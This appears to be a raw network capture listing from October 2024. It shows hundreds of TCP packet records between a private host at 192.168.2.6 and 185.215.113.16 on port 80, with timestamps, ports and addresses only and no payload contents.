Oct 23, 2024 17:51:41.275098085 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275122881 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275132895 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275166988 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275176048 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275212049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275247097 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275248051 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275281906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275305986 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275333881 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275396109 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275403023 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275458097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275470018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275515079 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275521040 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275566101 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275600910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275614023 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275635004 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275671959 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275688887 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275692940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275721073 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275724888 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275758982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275763035 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275774002 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275793076 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275815964 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275851011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275863886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275903940 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275939941 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275955915 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275966883 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275990009 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276020050 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276000977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276042938 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276074886 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276118994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276124954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276127100 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276163101 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276175976 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276211023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276223898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276243925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276246071 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276278019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276288033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276312113 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276314020 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276346922 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276360989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276365042 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276381016 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276385069 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276396036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276412964 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276429892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276429892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276429892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276431084 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276456118 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276458979 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276465893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276470900 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276485920 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276494026 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276501894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276516914 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276523113 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276523113 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276532888 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276536942 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276556015 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276557922 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276572943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276571035 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276587963 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276595116 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276602030 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276604891 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276617050 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276624918 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276632071 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276638031 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276647091 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276654005 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276663065 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276679993 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276679993 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276686907 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276695013 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276700020 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276710033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276715040 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276726007 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276731968 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276740074 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276746035 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276756048 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276766062 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276770115 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276777029 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276782036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276793003 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276803017 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276803970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276814938 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276820898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276827097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276839018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276845932 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276849985 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276860952 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276870966 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276873112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276885033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276895046 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276896000 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276906967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276918888 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276930094 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276930094 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276931047 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276945114 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276956081 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276956081 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276967049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276978970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276992083 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.276992083 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.276999950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.277002096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.277014017 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.277018070 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.277024031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.277034998 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.277040958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.277048111 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.277060032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.277076006 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.277097940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.278160095 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.278209925 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.314450026 CEST	49847	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:41.351946115 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352010965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352020979 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352080107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352128983 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352134943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352145910 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352170944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352180004 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352226019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352271080 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352284908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352343082 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352387905 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352396011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352452040 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352453947 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352503061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352504015 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352538109 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352574110 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352583885 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352608919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352621078 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352646112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352648973 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352682114 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352711916 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352715969 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352741957 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352750063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352758884 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352783918 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352799892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352821112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352860928 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352920055 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352922916 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.352952957 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.352982044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353002071 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353007078 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353064060 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353070021 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353111029 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353121996 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353173971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353224039 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353225946 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353276968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353308916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353343964 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353363037 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353379011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353406906 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353420019 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353435040 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353576899 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353626013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353629112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353663921 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353677988 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353717089 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353751898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353777885 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353785038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353800058 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353820086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353823900 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353854895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353869915 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353888988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353923082 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353935003 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.353957891 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.353991985 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354002953 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354026079 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354029894 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354059935 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354093075 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354104042 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354127884 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354162931 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354172945 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354203939 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354214907 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354249954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354284048 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354298115 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354325056 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354336977 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354372978 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354374886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354407072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354418993 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354440928 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354453087 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354476929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354494095 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354511023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354522943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354546070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354547977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354578972 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354614973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354624987 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354649067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354687929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354698896 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354738951 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354741096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354777098 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354798079 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354810953 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354824066 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354855061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354865074 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354898930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354909897 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.354933977 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354963064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.354984045 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355004072 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355015993 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355051041 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355065107 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355084896 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355094910 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355129004 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355139971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355184078 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355192900 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355230093 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355233908 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355264902 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355273962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355307102 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355350971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355389118 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355402946 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355437040 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355470896 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355488062 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355519056 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355528116 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355551958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355557919 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355587006 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355595112 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355621099 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355628967 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355655909 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355664968 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355691910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355700016 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355735064 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355746031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355782986 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355818033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355827093 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355854034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355878115 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355889082 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355896950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355922937 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355928898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355958939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.355963945 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.355993032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356002092 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356029034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356035948 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356064081 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356107950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356117964 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356154919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356188059 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356206894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356208086 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356251001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356260061 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356293917 CEST	80	49868	185.215.113.16	192.168.2.6
